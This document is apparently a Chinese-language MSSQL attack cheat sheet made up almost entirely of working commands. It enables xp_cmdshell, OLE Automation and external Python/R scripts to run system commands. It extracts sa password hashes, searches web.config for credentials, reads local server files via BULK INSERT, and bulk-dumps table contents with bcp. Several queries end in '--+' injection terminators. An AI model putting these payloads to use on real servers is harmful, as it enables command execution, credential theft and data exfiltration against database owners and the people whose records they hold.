Mssql

Mssql查找开放端口

for /f "tokens=2" %i in ('tasklist /FI "SERVICES eq MSSQLSERVER" /NH') do netstat -ano | findstr %i | findstr LISTENING

Mssql开启xp_cmdshell

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

Mssql关闭xp_cmdshell

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

Mssql xp_cmdshell执行命令

EXEC master..xp_cmdshell "whoami /user";

Mssql开启SP_OACreate

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

Mssql关闭SP_OACreate

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE;

Mssql执行命令有回显-SP_OACreate

declare @luan int,@exec int,@text int,@str varchar(8000);
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output;
exec sp_oamethod @luan,'exec',@exec output,'C:\\windows\\system32\\cmd.exe /c whoami';
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'readall', @str out
select @str;

declare @test int,@exec int,@text int,@str varchar(8000);exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@test output;exec sp_oamethod @test,'exec',@exec output,'ipconfig /all';exec sp_oamethod @exec, 'StdOut', @text out;exec sp_oamethod @text, 'readall', @str out;select @str;--+

Mssql执行命令无回显-SP_OACreate

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >C:\\Window\\Temp\\1.txt'

Mssql执行命令sp_execute_external_script

开启sp_execute_external_script

EXECUTE sp_configure 'external scripts enabled', 1;RECONFIGURE;

利用Python语言执行系统命令

EXECUTE sp_execute_external_script
@language =N'Python',
@script=N'import subprocess;subprocess.call(["whoami"],shell=True)'

利用R语言执行系统命令

EXECUTE sp_execute_external_script
@language = N'R',
@script = N'system("whoami")'

Mssql输出base64文件

exec master..xp_cmdshell '>>c:\windows\temp\vars.txt set /p="123456" <nul'; //代替echo输出

查看c盘下web.config文件

findstr /c:"User Id=" /c:"Password=" /si web.config >> tmp.log
findstr /c:"uid=" /c:"Password=" /si web.config >> tmp.log

常SQL规工作组内网环境下的mssql实例

PowerShell -Command "[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()"

Mssql查询sa密码

select name,password from syslogins

Mssql查询sa密码

Select master.dbo.fn_varbintohexstr(password_hash) from sys.sql_logins where name = 'sa'

列出所有库

SELECT name FROM MASTER..SysDatabases ORDER BY Name;--+

SELECT NAME FROM MASTER.dbo.SysDatabases ORDER BY NAME;--+

列出某个库所有表

SELECT Name FROM [databasename]..SysObjects Where XType='U' ORDER BY Name;--+

列出表的字段

SELECT TABLE_CATALOG,TABLE_NAME,COLUMN_NAME,DATA_TYPE from [databasename].information_schema.columns where TABLE_NAME = 'tablename';--+

SELECT COLUMN_NAME,DATA_TYPE from [databasename].information_schema.columns where TABLE_NAME = 'tablename';--+

varbinary数据类型hex编码

SELECT TOP 2 sys.fn_varbintohexstr(pass),user FROM [dbo].[admin];--+

exec master.dbo.xp_dirtree [c:\windows\],1,1;--+

exec master.dbo.xp_dirtree 'c:\windows\',1,1;--+

exec xp_subdirs "C:\\WINDOWS\\"

写表读取本地文件

CREATE TABLE temp (data varchar(2000));--+
BULK INSERT dbo.temp FROM 'C:\Windows\System32\inetsrv\config\applicationHost.config';--+
select * from dbo.temp;--+

查询sqlserver数据库如何批量查询每个表前10条内容

database=School

DECLARE @table_name VARCHAR(MAX)
DECLARE table_cursor CURSOR FOR
    SELECT TABLE_NAME
    FROM INFORMATION_SCHEMA.TABLES
    WHERE TABLE_TYPE = 'BASE TABLE'
        AND TABLE_CATALOG = 'database=School'

OPEN table_cursor
FETCH NEXT FROM table_cursor INTO @table_name

WHILE @@FETCH_STATUS = 0
BEGIN
    DECLARE @sql_string VARCHAR(MAX)
    SET @sql_string = 'SELECT TOP 1000 * FROM School.dbo.' + @table_name

    EXECUTE(@sql_string)

    FETCH NEXT FROM table_cursor INTO @table_name
END

CLOSE table_cursor
DEALLOCATE table_cursor

查询sqlserver数据库如何批量查询每个表前10条内容,并备份为csv文件，我们可以利用bcp

database=School
==========================================================================================
-T 表示使用 Trusted Connection。当使用 -T 参数时，bcp 将使用 Windows 身份验证来连接到 SQL Server。
-S 指定要连接的 SQL Server 实例的名称。
默认实例: MSSQLSERVER

HOSTNAME=IIS85-CN
实例名=SQLEXPRESS
bcp "SELECT name FROM School.sys.tables" queryout C:\backup\tables.txt -c -t, -T -S IIS85-CN
bcp "SELECT name FROM School.sys.tables" queryout C:\backup\tables.txt -c -t, -T -S IIS85-CN\SQLEXPRESS

==========================================================================================
bcp "SELECT name FROM School.sys.tables" queryout C:\backup\tables.txt -c -t, -S localhost -U sa -P admin

==========================================================================================
FOR /F %i IN (C:\backup\tables.txt) DO (
  bcp "SELECT TOP 10 * FROM School.dbo.%i" queryout C:\backup\%i.csv -c -t, -S localhost -U sa -P admin
)